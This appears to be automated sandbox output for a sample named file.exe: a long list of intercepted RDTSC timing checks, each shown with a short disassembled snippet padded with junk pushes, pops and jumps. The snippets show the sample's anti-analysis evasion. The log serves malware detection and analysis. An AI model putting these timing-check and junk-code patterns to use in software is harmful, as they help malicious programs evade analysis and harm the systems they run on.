Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5EFD1 second address: C5EFDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5EFDC second address: C5EFE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7B4B second address: BE7B7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E34h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FDAD0CA5E2Fh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7B7B second address: BE7B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FDAD10EAC36h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7B8A second address: BE7B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7B8E second address: BE7B92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7B92 second address: BE7BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDAD0CA5E2Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7BAA second address: BE7BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C682F9 second address: C6832D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007FDAD0CA5E37h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDAD0CA5E35h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6832D second address: C68342 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007FDAD10EAC36h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop esi 0x0000000c push eax 0x0000000d jnc 00007FDAD10EAC36h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C671CF second address: C671D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C67338 second address: C6733F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3A071 second address: C3A07B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDAD0CA5E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3A07B second address: C199A5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDAD10EAC3Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d sbb edx, 493960A5h 0x00000013 lea eax, dword ptr [ebp+12489DC6h] 0x00000019 sub dword ptr [ebp+122D2287h], ecx 0x0000001f push eax 0x00000020 jmp 00007FDAD10EAC47h 0x00000025 mov dword ptr [esp], eax 0x00000028 pushad 0x00000029 mov dword ptr [ebp+122D2ADAh], ebx 0x0000002f add dword ptr [ebp+122D248Ch], edi 0x00000035 popad 0x00000036 call dword ptr [ebp+122D286Eh] 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f push edx 0x00000040 pop edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3A4DB second address: C3A4FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDAD0CA5E39h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3A7A0 second address: C3A7A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3A7A6 second address: C3A7AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3A7AA second address: C3A7F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FDAD10EAC38h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D1FA6h], ebx 0x0000002b nop 0x0000002c jmp 00007FDAD10EAC3Ch 0x00000031 push eax 0x00000032 pushad 0x00000033 push ecx 0x00000034 jnp 00007FDAD10EAC36h 0x0000003a pop ecx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3A929 second address: C3A92F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3AEDF second address: C3AEE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FDAD10EAC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3B2D2 second address: C3B2D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3B399 second address: C3B3B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDAD10EAC49h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3B3B6 second address: C3B3DE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDAD0CA5E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FDAD0CA5E36h 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1A4CE second address: C1A4D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6FDF1 second address: C6FE08 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FDAD0CA5E2Eh 0x0000000c js 00007FDAD0CA5E26h 0x00000012 push esi 0x00000013 pop esi 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6FE08 second address: C6FE13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6FE13 second address: C6FE17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6FE17 second address: C6FE21 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDAD10EAC36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6FE21 second address: C6FE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FDAD0CA5E32h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6FF99 second address: C6FFA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C70512 second address: C7051C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDAD0CA5E2Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C763C8 second address: C763CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74E33 second address: C74E3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74E3B second address: C74E48 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDAD10EAC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C750F1 second address: C75101 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDAD0CA5E26h 0x00000008 je 00007FDAD0CA5E26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75101 second address: C7511B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDAD10EAC46h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7511B second address: C7511F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7511F second address: C75125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C753F1 second address: C753F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C753F5 second address: C753F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C753F9 second address: C75405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDAD0CA5E26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75405 second address: C75436 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDAD10EAC38h 0x00000008 push edi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007FDAD10EAC5Fh 0x00000014 jmp 00007FDAD10EAC47h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75436 second address: C7543A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7543A second address: C7543E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C756EA second address: C756EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C756EE second address: C75701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FDAD10EAC3Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C759E9 second address: C759ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C759ED second address: C759F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C759F3 second address: C759FD instructions: 0x00000000 rdtsc 0x00000002 js 00007FDAD0CA5E2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75DEF second address: C75DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C76235 second address: C7623B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7623B second address: C76244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C76244 second address: C76256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 ja 00007FDAD0CA5E26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74BB7 second address: C74BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C79E6B second address: C79E83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FDAD0CA5E26h 0x00000009 jmp 00007FDAD0CA5E2Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C79FD9 second address: C79FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7CD05 second address: C7CD36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDAD0CA5E34h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7CD36 second address: C7CD3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7CD3A second address: C7CD40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7CD40 second address: C7CD47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7CD47 second address: C7CD69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDAD0CA5E39h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7CD69 second address: C7CD6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E89D second address: C7E8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007FDAD0CA5E26h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E8B4 second address: C7E8EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC40h 0x00000007 jmp 00007FDAD10EAC40h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f jc 00007FDAD10EAC6Eh 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 jg 00007FDAD10EAC36h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E8EA second address: C7E8FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDAD0CA5E26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E8FB second address: C7E8FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82CFE second address: C82D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FDAD0CA5E26h 0x0000000a pop esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82D0C second address: C82D2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDAD10EAC42h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82D2A second address: C82D3E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDAD0CA5E2Eh 0x00000008 jne 00007FDAD0CA5E26h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82EB3 second address: C82ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FDAD10EAC48h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85DC9 second address: C85DD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85DD3 second address: C85DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85DD7 second address: C85DDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85DDB second address: C85DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85DE1 second address: C85E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jc 00007FDAD0CA5E41h 0x0000000d jmp 00007FDAD0CA5E35h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85E05 second address: C85E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jo 00007FDAD10EAC36h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C860D0 second address: C860D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8B5DE second address: C8B5F0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDAD10EAC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FDAD10EAC36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8B6FF second address: C8B703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8B703 second address: C8B72D instructions: 0x00000000 rdtsc 0x00000002 je 00007FDAD10EAC42h 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007FDAD10EAC41h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C91C12 second address: C91C1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C91C1A second address: C91C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C91C20 second address: C91C24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C92B0F second address: C92B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDAD10EAC36h 0x0000000a popad 0x0000000b ja 00007FDAD10EAC3Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C92B28 second address: C92B3A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDAD0CA5E2Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9340D second address: C93413 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93413 second address: C93427 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FDAD0CA5E26h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FDAD0CA5E26h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C936BE second address: C936F3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FDAD10EAC6Dh 0x0000000e pushad 0x0000000f jno 00007FDAD10EAC36h 0x00000015 push esi 0x00000016 pop esi 0x00000017 jmp 00007FDAD10EAC49h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C936F3 second address: C936F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C936F9 second address: C936FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9776F second address: C97774 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C97774 second address: C977B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDAD10EAC36h 0x0000000a jmp 00007FDAD10EAC48h 0x0000000f popad 0x00000010 jbe 00007FDAD10EAC3Ah 0x00000016 pop edx 0x00000017 pop eax 0x00000018 je 00007FDAD10EAC56h 0x0000001e pushad 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 pushad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98119 second address: C9811E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9811E second address: C98145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDAD10EAC36h 0x0000000a popad 0x0000000b jmp 00007FDAD10EAC45h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4517 second address: CA4526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FDAD0CA5E26h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4526 second address: CA452A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA452A second address: CA4530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2BCB second address: CA2BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
